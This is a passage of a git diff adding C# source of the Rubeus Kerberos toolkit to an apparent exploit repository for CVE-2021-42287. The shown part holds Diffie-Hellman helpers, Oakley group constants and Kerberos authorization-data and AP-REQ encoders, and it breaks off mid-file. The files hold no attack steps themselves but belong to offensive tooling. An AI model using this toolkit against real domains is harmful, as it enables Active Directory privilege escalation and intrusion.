this.Depad(this.factor.GetBytes()), + PrivateComponent = this.Depad(this.x.GetBytes()), + KeyLength = prime.Length + }; + } + + private BigInteger GeneratePrime() + { + // RSA's P and Q parameters are prime, but len(P+Q) = keylength + // so generate an RSA key twice as large as required and just + // use P as the prime. + + // P in RSA is a safer prime than primes used in DH so it's + // good enough here, though it's costlier to generate. + + using (var alg = new RSACryptoServiceProvider(this.keyLength * 2 * 8)) + { + var rsa = alg.ExportParameters(true); + + return ParseBigInteger(rsa.P.Reverse().ToArray()); + } + } + + private static BigInteger ParseBigInteger(byte[] arr) + { + var pv = arr; + + if (pv[0] != 0) + { + var copy = new byte[pv.Length + 1]; + + pv.CopyTo(copy, 1); + + pv = copy; + } + + return new BigInteger(pv); + } + + public IExchangeKey PublicKey { get; } + + public IExchangeKey PrivateKey { get; } + + public byte[] GenerateAgreement() + { + var z = this.partnerKey.ModPow(this.x, this.prime); + + var ag = z.GetBytes().ToArray(); + + var agreement = this.Depad(ag); + + agreement = Pad(agreement, this.keyLength); + + return agreement; + } + + public void ImportPartnerKey(IExchangeKey publicKey) + { + if (publicKey == null) + { + throw new ArgumentNullException(nameof(publicKey)); + } + + this.partnerKey = ParseBigInteger(publicKey.PublicComponent); + } + + private byte[] Depad(byte[] data) + { + int leadingZeros; + + for(leadingZeros = 0; leadingZeros < data.Length; ++leadingZeros) { + if(!(data[leadingZeros] == 0 && data.Length > this.keyLength)) { + break; + } + } + + byte[] result = new byte[data.Length - leadingZeros]; + + Array.Copy(data, leadingZeros, result, 0, result.Length); + + return result; + } + + private static byte[] Pad(byte[] agreement, int keyLength) + { + var copy = new byte[keyLength]; + + agreement.CopyTo(copy, keyLength - agreement.Length); + + return copy; + } + + protected virtual void Dispose(bool disposing) + { + if (!this.disposedValue) + { + this.disposedValue = true; + } + } + + public void Dispose() + { + this.Dispose(disposing: true); + GC.SuppressFinalize(this); + } + } +} \ No newline at end of file diff --git a/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/crypto/dh/ManagedDiffieHellmanOakley14.cs b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/crypto/dh/ManagedDiffieHellmanOakley14.cs new file mode 100644 index 0000000..274ce26 --- /dev/null +++ b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/crypto/dh/ManagedDiffieHellmanOakley14.cs @@ -0,0 +1,15 @@ +// ----------------------------------------------------------------------- +// Licensed to The .NET Foundation under one or more agreements. +// The .NET Foundation licenses this file to you under the MIT license. +// ----------------------------------------------------------------------- + +namespace Kerberos.NET.Crypto +{ + public class ManagedDiffieHellmanOakley14 : ManagedDiffieHellman + { + public ManagedDiffieHellmanOakley14() + : base(Oakley.Group14.Prime, Oakley.Group14.Generator, Oakley.Group14.Factor) + { + } + } +} \ No newline at end of file diff --git a/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/crypto/dh/ManagedDiffieHellmanOakley2.cs b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/crypto/dh/ManagedDiffieHellmanOakley2.cs new file mode 100644 index 0000000..a12493f --- /dev/null +++ b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/crypto/dh/ManagedDiffieHellmanOakley2.cs @@ -0,0 +1,15 @@ +// ----------------------------------------------------------------------- +// Licensed to The .NET Foundation under one or more agreements. +// The .NET Foundation licenses this file to you under the MIT license. +// ----------------------------------------------------------------------- + +namespace Kerberos.NET.Crypto +{ + public class ManagedDiffieHellmanOakley2 : ManagedDiffieHellman + { + public ManagedDiffieHellmanOakley2() + : base(Oakley.Group2.Prime, Oakley.Group2.Generator, Oakley.Group2.Factor) + { + } + } +} \ No newline at end of file diff --git a/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/crypto/dh/Oakley.cs b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/crypto/dh/Oakley.cs new file mode 100644 index 0000000..649a41f --- /dev/null +++ b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/crypto/dh/Oakley.cs @@ -0,0 +1,121 @@ +// ----------------------------------------------------------------------- +// Licensed to The .NET Foundation under one or more agreements. +// The .NET Foundation licenses this file to you under the MIT license. +// ----------------------------------------------------------------------- + +using System; + +namespace Kerberos.NET.Crypto +{ + public static class Oakley + { + public static class Group14 + { + /* + * https://tools.ietf.org/html/rfc3526#section-3 + * Id: 14 + * Prime: 2^2048 - 2^1984 - 1 + 2^64 * { [2^1918 pi] + 124476 } + * Generator: 2 + */ + + public static readonly byte[] Prime = new byte[] + { + 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xC9, 0x0F, 0xDA, 0xA2, 0x21, 0x68, 0xC2, 0x34, + 0xC4, 0xC6, 0x62, 0x8B, 0x80, 0xDC, 0x1C, 0xD1, 0x29, 0x02, 0x4E, 0x08, 0x8A, 0x67, 0xCC, 0x74, + 0x02, 0x0B, 0xBE, 0xA6, 0x3B, 0x13, 0x9B, 0x22, 0x51, 0x4A, 0x08, 0x79, 0x8E, 0x34, 0x04, 0xDD, + 0xEF, 0x95, 0x19, 0xB3, 0xCD, 0x3A, 0x43, 0x1B, 0x30, 0x2B, 0x0A, 0x6D, 0xF2, 0x5F, 0x14, 0x37, + 0x4F, 0xE1, 0x35, 0x6D, 0x6D, 0x51, 0xC2, 0x45, 0xE4, 0x85, 0xB5, 0x76, 0x62, 0x5E, 0x7E, 0xC6, + 0xF4, 0x4C, 0x42, 0xE9, 0xA6, 0x37, 0xED, 0x6B, 0x0B, 0xFF, 0x5C, 0xB6, 0xF4, 0x06, 0xB7, 0xED, + 0xEE, 0x38, 0x6B, 0xFB, 0x5A, 0x89, 0x9F, 0xA5, 0xAE, 0x9F, 0x24, 0x11, 0x7C, 0x4B, 0x1F, 0xE6, + 0x49, 0x28, 0x66, 0x51, 0xEC, 0xE4, 0x5B, 0x3D, 0xC2, 0x00, 0x7C, 0xB8, 0xA1, 0x63, 0xBF, 0x05, + 0x98, 0xDA, 0x48, 0x36, 0x1C, 0x55, 0xD3, 0x9A, 0x69, 0x16, 0x3F, 0xA8, 0xFD, 0x24, 0xCF, 0x5F, + 0x83, 0x65, 0x5D, 0x23, 0xDC, 0xA3, 0xAD, 0x96, 0x1C, 0x62, 0xF3, 0x56, 0x20, 0x85, 0x52, 0xBB, + 0x9E, 0xD5, 0x29, 0x07, 0x70, 0x96, 0x96, 0x6D, 0x67, 0x0C, 0x35, 0x4E, 0x4A, 0xBC, 0x98, 0x04, + 0xF1, 0x74, 0x6C, 0x08, 0xCA, 0x18, 0x21, 0x7C, 0x32, 0x90, 0x5E, 0x46, 0x2E, 0x36, 0xCE, 0x3B, + 0xE3, 0x9E, 0x77, 0x2C, 0x18, 0x0E, 0x86, 0x03, 0x9B, 0x27, 0x83, 0xA2, 0xEC, 0x07, 0xA2, 0x8F, + 0xB5, 0xC5, 0x5D, 0xF0, 0x6F, 0x4C, 0x52, 0xC9, 0xDE, 0x2B, 0xCB, 0xF6, 0x95, 0x58, 0x17, 0x18, + 0x39, 0x95, 0x49, 0x7C, 0xEA, 0x95, 0x6A, 0xE5, 0x15, 0xD2, 0x26, 0x18, 0x98, 0xFA, 0x05, 0x10, + 0x15, 0x72, 0x8E, 0x5A, 0x8A, 0xAC, 0xAA, 0x68, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF + }; + + public static readonly byte[] Generator = new byte[] + { + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02 + }; + + public static readonly byte[] Factor = new byte[] + { + 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0x7f, 0x34, 0x55, 0x56, 0x45, 0x2d, 0x47, 0xb9, 0x0a, + 0x88, 0x02, 0x7d, 0x4c, 0x0c, 0x13, 0xe9, 0x8a, 0x72, 0xb5, 0x4a, 0x75, 0xbe, 0xa4, 0xca, 0x1c, + 0x8c, 0x0b, 0xac, 0x4a, 0xfb, 0xe5, 0x15, 0xef, 0x64, 0x29, 0xa6, 0x37, 0xf8, 0xae, 0xe2, 0xda, + 0x47, 0xd1, 0x03, 0x76, 0xd1, 0xc1, 0x93, 0xcd, 0x01, 0x43, 0x07, 0x0c, 0x96, 0x3b, 0xcf, 0xf1, + 0x1d, 0x67, 0x1b, 0x17, 0x23, 0x2f, 0x48, 0x19, 0xbe, 0x10, 0x0c, 0x65, 0x04, 0x36, 0xba, 0x78, + 0x02, 0x4c, 0x5e, 0x25, 0xa7, 0x1a, 0x86, 0xb3, 0x36, 0x4b, 0x4b, 0xb8, 0x83, 0x94, 0x6a, 0xcf, + 0x5d, 0xa9, 0x42, 0x10, 0xab, 0x79, 0x31, 0x0e, 0xcb, 0xd6, 0x51, 0xee, 0x91, 0xae, 0xb2, 0xc1, + 0xaf, 0x67, 0x92, 0x7e, 0xd4, 0x1f, 0x8b, 0x34, 0xcd, 0xe9, 0x2a, 0x0e, 0x1b, 0x24, 0x6d, 0xcc, + 0x82, 0xdf, 0xb1, 0x50, 0x5c, 0x3e, 0x00, 0xe1, 0x9e, 0x2d, 0x72, 0xf6, 0x28, 0x33, 0x94, 0x24, + 0xf3, 0x8f, 0x25, 0xbe, 0x08, 0x92, 0x4f, 0xd7, 0xd2, 0xcf, 0x44, 0xad, 0xfd, 0x35, 0x1c, 0xf7, + 0xf6, 0x5b, 0x03, 0x7a, 0x5b, 0xae, 0xff, 0x85, 0xb5, 0xf6, 0x1b, 0xd3, 0x74, 0x21, 0x26, 0x7a, + 0x63, 0x3f, 0x2f, 0x31, 0xbb, 0xda, 0x42, 0xf2, 0x22, 0xe1, 0xa8, 0xb6, 0xb6, 0x9a, 0xf0, 0xa7, + 0x1b, 0x8a, 0x2f, 0xf9, 0x36, 0x85, 0x15, 0x98, 0x8d, 0x21, 0x9d, 0xe6, 0xd9, 0x8c, 0xca, 0xf7, + 0x6e, 0x02, 0x1a, 0xc7, 0x3c, 0x04, 0xa5, 0x28, 0x91, 0xcd, 0x89, 0x1d, 0x53, 0xdf, 0x05, 0x01, + 0x3a, 0xe6, 0x33, 0x45, 0x04, 0x27, 0x81, 0x94, 0x68, 0x0e, 0x6e, 0xc0, 0x45, 0x31, 0x63, 0x62, + 0x1a, 0x61, 0xb4, 0x10, 0x51, 0xed, 0x87, 0xe4, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0x7f + }; + } + + public static class Group2 + { + public static readonly byte[] Prime = new byte[] + { + 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xC9, 0x0F, 0xDA, 0xA2, 0x21, 0x68, 0xC2, 0x34, + 0xC4, 0xC6, 0x62, 0x8B, 0x80, 0xDC, 0x1C, 0xD1, 0x29, 0x02, 0x4E, 0x08, 0x8A, 0x67, 0xCC, 0x74, + 0x02, 0x0B, 0xBE, 0xA6, 0x3B, 0x13, 0x9B, 0x22, 0x51, 0x4A, 0x08, 0x79, 0x8E, 0x34, 0x04, 0xDD, + 0xEF, 0x95, 0x19, 0xB3, 0xCD, 0x3A, 0x43, 0x1B, 0x30, 0x2B, 0x0A, 0x6D, 0xF2, 0x5F, 0x14, 0x37, + 0x4F, 0xE1, 0x35, 0x6D, 0x6D, 0x51, 0xC2, 0x45, 0xE4, 0x85, 0xB5, 0x76, 0x62, 0x5E, 0x7E, 0xC6, + 0xF4, 0x4C, 0x42, 0xE9, 0xA6, 0x37, 0xED, 0x6B, 0x0B, 0xFF, 0x5C, 0xB6, 0xF4, 0x06, 0xB7, 0xED, + 0xEE, 0x38, 0x6B, 0xFB, 0x5A, 0x89, 0x9F, 0xA5, 0xAE, 0x9F, 0x24, 0x11, 0x7C, 0x4B, 0x1F, 0xE6, + 0x49, 0x28, 0x66, 0x51, 0xEC, 0xE6, 0x53, 0x81, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF + }; + + public static readonly byte[] Generator = new byte[] + { + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02 + }; + + public static readonly byte[] Factor = new byte[] + { + 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xc0, 0x29, 0x73, 0xf6, 0x28, 0x33, 0x94, 0x24, + 0xf3, 0x8f, 0x25, 0xbe, 0x08, 0x92, 0x4f, 0xd7, 0xd2, 0xcf, 0x44, 0xad, 0xfd, 0x35, 0x1c, 0xf7, + 0xf6, 0x5b, 0x03, 0x7a, 0x5b, 0xae, 0xff, 0x85, 0xb5, 0xf6, 0x1b, 0xd3, 0x74, 0x21, 0x26, 0x7a, + 0x63, 0x3f, 0x2f, 0x31, 0xbb, 0xda, 0x42, 0xf2, 0x22, 0xe1, 0xa8, 0xb6, 0xb6, 0x9a, 0xf0, 0xa7, + 0x1b, 0x8a, 0x2f, 0xf9, 0x36, 0x85, 0x15, 0x98, 0x8d, 0x21, 0x9d, 0xe6, 0xd9, 0x8c, 0xca, 0xf7, + 0x6e, 0x02, 0x1a, 0xc7, 0x3c, 0x04, 0xa5, 0x28, 0x91, 0xcd, 0x89, 0x1d, 0x53, 0xdf, 0x05, 0x01, + 0x3a, 0xe6, 0x33, 0x45, 0x04, 0x27, 0x81, 0x94, 0x68, 0x0e, 0x6e, 0xc0, 0x45, 0x31, 0x63, 0x62, + 0x1a, 0x61, 0xb4, 0x10, 0x51, 0xed, 0x87, 0xe4, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0x7f + }; + } + } +} \ No newline at end of file diff --git a/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/krb_structures/ADIfRelevant.cs b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/krb_structures/ADIfRelevant.cs new file mode 100644 index 0000000..9f8dea1 --- /dev/null +++ b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/krb_structures/ADIfRelevant.cs @@ -0,0 +1,113 @@ +using System; +using System.Collections.Generic; +using Asn1; + +namespace Rubeus +{ + public class ADIfRelevant : AuthorizationData + { + public List ADData { get; set; } + + public ADIfRelevant() + { + ad_type = Interop.AuthorizationDataType.AD_IF_RELEVANT; + ADData = new List(); + } + public ADIfRelevant(byte[] data) + { + ad_type = Interop.AuthorizationDataType.AD_IF_RELEVANT; + ADData = new List(); + ad_data = data; + } + + public ADIfRelevant(AuthorizationData data) + { + ad_type = Interop.AuthorizationDataType.AD_IF_RELEVANT; + ADData = new List(); + ADData.Add(data); + } + + public ADIfRelevant(List data) + { + ad_type = Interop.AuthorizationDataType.AD_IF_RELEVANT; + ADData = data; + } + + public ADIfRelevant(AsnElt data, byte[] asrepKey = null) + { + Decode(data, asrepKey); + } + + protected override void Decode(AsnElt data) + { + Decode(data, null); + } + + protected override void Decode(AsnElt data, byte[] asrepKey = null) + { + foreach (AsnElt s in data.Sub) + { + switch (s.TagValue) + { + case 0: + ad_type = (Interop.AuthorizationDataType)s.Sub[0].GetInteger(); + break; + case 1: + ADData = new List(); + foreach (AsnElt i in AsnElt.Decode(s.Sub[0].GetOctetString()).Sub) + { + switch (i.Sub[0].TagValue) + { + case 0: + switch ((Interop.AuthorizationDataType)i.Sub[0].Sub[0].GetInteger()) + { + case Interop.AuthorizationDataType.AD_IF_RELEVANT: + ADData.Add(new ADIfRelevant(AsnElt.Decode(s.Sub[0].GetOctetString()).Sub[0])); + break; + case Interop.AuthorizationDataType.KERB_AUTH_DATA_TOKEN_RESTRICTIONS: + ADData.Add(new ADRestrictionEntry(AsnElt.Decode(i.Sub[1].Sub[0].GetOctetString()).Sub[0])); + break; + case Interop.AuthorizationDataType.KERB_LOCAL: + ADData.Add(new ADKerbLocal(i.Sub[1].Sub[0].GetOctetString())); + break; + case Interop.AuthorizationDataType.AD_WIN2K_PAC: + ADData.Add(new ADWin2KPac(AsnElt.Decode(s.Sub[0].GetOctetString()).Sub[0], asrepKey)); + break; + default: + break; + } + break; + } + } + break; + default: + break; + } + } + } + + public override AsnElt Encode() + { + + // ad-data [1] OCTET STRING + if (ADData.Count > 0) + { + List adList = new List(); + + foreach (AuthorizationData ad in ADData) + { + AsnElt addrElt = ad.Encode(); + adList.Add(addrElt); + } + AsnElt seq = AsnElt.Make(AsnElt.SEQUENCE, adList.ToArray()); + ad_data = seq.Encode(); + } + else if (ad_data.Length < 1) + { + ad_data = new byte[0]; + } + + return ADEncode(); + } + } +} diff --git a/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/krb_structures/ADKerbLocal.cs b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/krb_structures/ADKerbLocal.cs new file mode 100644 index 0000000..46e344e --- /dev/null +++ b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/krb_structures/ADKerbLocal.cs @@ -0,0 +1,60 @@ +using System; +using Asn1; + +namespace Rubeus +{ + public class ADKerbLocal : AuthorizationData + { + public byte[] LocalData { get; set; } + + public ADKerbLocal() + { + ad_type = Interop.AuthorizationDataType.KERB_LOCAL; + + // random KERB-LOCAL + var rand = new Random(); + byte[] randomBytes = new byte[16]; + rand.NextBytes(randomBytes); + ad_data = randomBytes; + } + public ADKerbLocal(byte[] data) + { + ad_type = Interop.AuthorizationDataType.KERB_LOCAL; + ad_data = data; + } + + public ADKerbLocal(AsnElt data) + { + Decode(data); + } + + protected override void Decode(AsnElt data, byte[] junk = null) + { + Decode(data); + } + + protected override void Decode(AsnElt data) + { + foreach (AsnElt s in data.Sub) + { + switch (s.TagValue) + { + case 0: + ad_type = (Interop.AuthorizationDataType)s.Sub[0].GetInteger(); + break; + case 1: + ad_data = s.Sub[0].GetOctetString(); + break; + default: + break; + } + } + } + + public override AsnElt Encode() + { + return ADEncode(); + } + } +} + diff --git a/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/krb_structures/ADRestrictionEntry.cs b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/krb_structures/ADRestrictionEntry.cs new file mode 100644 index 0000000..c2b09f7 --- /dev/null +++ b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/krb_structures/ADRestrictionEntry.cs @@ -0,0 +1,128 @@ +using Asn1; +using System; + +namespace Rubeus +{ + // KERB-AD-RESTRICTION-ENTRY ::= SEQUENCE { + // restriction-type[0] Int32, + // restriction[1] OCTET STRING + // } + public class ADRestrictionEntry : AuthorizationData + { + public ADRestrictionEntry() + { + ad_type = Interop.AuthorizationDataType.KERB_AUTH_DATA_TOKEN_RESTRICTIONS; + + restriction_type = 0; + + Interop.LSAP_TOKEN_INFO_INTEGRITY_FLAGS flags = Interop.LSAP_TOKEN_INFO_INTEGRITY_FLAGS.UAC_RESTRICTED; + Interop.LSAP_TOKEN_INFO_INTEGRITY_TOKENIL tokenIL = Interop.LSAP_TOKEN_INFO_INTEGRITY_TOKENIL.MEDIUM; + + restriction = buildTokenStruct(flags, tokenIL); + + + } + + public ADRestrictionEntry(byte[] data) + { + ad_type = Interop.AuthorizationDataType.KERB_AUTH_DATA_TOKEN_RESTRICTIONS; + + restriction_type = 0; + + restriction = data; + } + + public ADRestrictionEntry(Interop.LSAP_TOKEN_INFO_INTEGRITY_FLAGS flags, Interop.LSAP_TOKEN_INFO_INTEGRITY_TOKENIL tokenIL) + { + ad_type = Interop.AuthorizationDataType.KERB_AUTH_DATA_TOKEN_RESTRICTIONS; + + restriction_type = 0; + + restriction = buildTokenStruct(flags, tokenIL); + } + + public ADRestrictionEntry(AsnElt data) + { + Decode(data); + } + + private byte[] buildTokenStruct(Interop.LSAP_TOKEN_INFO_INTEGRITY_FLAGS flags, Interop.LSAP_TOKEN_INFO_INTEGRITY_TOKENIL tokenIL) + { + // LSAP_TOKEN_INFO_INTEGRITY struct + Interop.LSAP_TOKEN_INFO_INTEGRITY tokenInfo; + tokenInfo.Flags = flags; + tokenInfo.TokenIL = tokenIL; + + // random machine ID + var rand = new Random(); + tokenInfo.machineID = new byte[32]; + rand.NextBytes(tokenInfo.machineID); + + // get struct bytes + byte[] data = new byte[40]; + data[0] = (byte)((int)tokenInfo.Flags >> 24); + data[1] = (byte)((int)tokenInfo.Flags >> 16); + data[2] = (byte)((int)tokenInfo.Flags >> 8); + data[3] = (byte)((int)tokenInfo.Flags); + data[4] = (byte)((int)tokenInfo.TokenIL >> 24); + data[5] = (byte)((int)tokenInfo.TokenIL >> 16); + data[6] = (byte)((int)tokenInfo.TokenIL >> 8); + data[7] = (byte)((int)tokenInfo.TokenIL); + for (int j = 0; j < 32; ++j) + { + data[j + 8] = tokenInfo.machineID[j]; + } + + return data; + } + + protected override void Decode(AsnElt data, byte[] junk = null) + { + Decode(data); + } + + protected override void Decode(AsnElt data) + { + ad_type = Interop.AuthorizationDataType.KERB_AUTH_DATA_TOKEN_RESTRICTIONS; + foreach (AsnElt s in data.Sub) + { + switch (s.TagValue) + { + case 0: + restriction_type = s.Sub[0].GetInteger(); + break; + case 1: + restriction = s.Sub[0].CopyValue(); + break; + default: + break; + } + } + } + + public override AsnElt Encode() + { + // KERB-AD-RESTRICTION-ENTRY encoding + // restriction-type [0] Int32 + AsnElt adRestrictionEntryElt = AsnElt.MakeInteger(restriction_type); + AsnElt adRestrictionEntrySeq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { adRestrictionEntryElt }); + adRestrictionEntrySeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 0, adRestrictionEntrySeq); + + // restriction [1] OCTET STRING + AsnElt adRestrictionEntryDataElt = AsnElt.MakeBlob(restriction); + AsnElt adRestrictionEntryDataSeq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { adRestrictionEntryDataElt }); + adRestrictionEntryDataSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 1, adRestrictionEntryDataSeq); + + AsnElt seq = AsnElt.Make(AsnElt.SEQUENCE, new[] { adRestrictionEntrySeq, adRestrictionEntryDataSeq }); + AsnElt seq2 = AsnElt.Make(AsnElt.SEQUENCE, seq); + + ad_data = seq2.Encode(); + + return ADEncode(); + } + + public long restriction_type { get; set; } + + public byte[] restriction { get; set; } + } +} diff --git a/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/krb_structures/ADWin2KPac.cs b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/krb_structures/ADWin2KPac.cs new file mode 100644 index 0000000..a57d280 --- /dev/null +++ b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/krb_structures/ADWin2KPac.cs @@ -0,0 +1,74 @@ +using System; +using Asn1; +using Rubeus.Kerberos; + +namespace Rubeus +{ + public class ADWin2KPac : AuthorizationData + { + public PACTYPE Pac { get; set; } + + public ADWin2KPac() + { + ad_type = Interop.AuthorizationDataType.AD_WIN2K_PAC; + + ad_data = null; + } + public ADWin2KPac(byte[] data) + { + ad_type = Interop.AuthorizationDataType.AD_WIN2K_PAC; + Pac = new PACTYPE(data, null); + } + + public ADWin2KPac(byte[] data, byte[] asrepKey) + { + ad_type = Interop.AuthorizationDataType.AD_WIN2K_PAC; + Pac = new PACTYPE(data, asrepKey); + } + + public ADWin2KPac(PACTYPE pac) + { + ad_type = Interop.AuthorizationDataType.AD_WIN2K_PAC; + Pac = pac; + } + + public ADWin2KPac(AsnElt data, byte[] asrepKey = null) + { + Decode(data, asrepKey); + } + + protected override void Decode(AsnElt data) + { + Decode(data, null); + } + + protected override void Decode(AsnElt data, byte[] asrepKey = null) + { + foreach (AsnElt s in data.Sub) + { + switch (s.TagValue) + { + case 0: + ad_type = (Interop.AuthorizationDataType)s.Sub[0].GetInteger(); + break; + case 1: + ad_data = s.Sub[0].CopyValue(); + Pac = new PACTYPE(ad_data, asrepKey); + break; + default: + break; + } + } + } + + public override AsnElt Encode() + { + if (Pac != null) + { + ad_data = Pac.Encode(); + } + + return ADEncode(); + } + } +} diff --git a/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/krb_structures/AP_REQ.cs b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/krb_structures/AP_REQ.cs new file mode 100644 index 0000000..1803d60 --- /dev/null +++ b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/krb_structures/AP_REQ.cs @@ -0,0 +1,116 @@ +using Asn1; +using System; +using System.Collections.Generic; +using System.IO; + +namespace Rubeus +{ + //AP-REQ ::= [APPLICATION 14] SEQUENCE { + // pvno [0] INTEGER (5), + // msg-type [1] INTEGER (14), + // ap-options [2] APOptions, + // ticket [3] Ticket, + // authenticator [4] EncryptedData -- Authenticator + //} + + public class AP_REQ + { + public AP_REQ(string crealm, string cname, Ticket providedTicket, byte[] clientKey, Interop.KERB_ETYPE etype, int keyUsageSpec = Interop.KRB_KEY_USAGE_TGS_REQ_PA_AUTHENTICATOR) + { + pvno = 5; + + msg_type = (long)Interop.KERB_MESSAGE_TYPE.AP_REQ; + + ap_options = 0; + + ticket = providedTicket; + + // KRB_KEY_USAGE_TGS_REQ_PA_AUTHENTICATOR = 7 + // KRB_KEY_USAGE_AP_REQ_AUTHENTICATOR = 11 + keyUsage = keyUsageSpec; + + enctype = etype; + key = clientKey; + + authenticator = new Authenticator(); + authenticator.crealm = crealm; + authenticator.cname = new PrincipalName(cname); + } + + public AsnElt Encode() + { + // pvno [0] INTEGER (5) + AsnElt pvnoASN = AsnElt.MakeInteger(pvno); + AsnElt pvnoSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { pvnoASN }); + pvnoSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 0, pvnoSeq); + + + // msg-type [1] INTEGER (14) + AsnElt msg_typeASN = AsnElt.MakeInteger(msg_type); + AsnElt msg_typeSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { msg_typeASN }); + msg_typeSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 1, msg_typeSeq); + + + // ap-options [2] APOptions + byte[] ap_optionsBytes = BitConverter.GetBytes(ap_options); 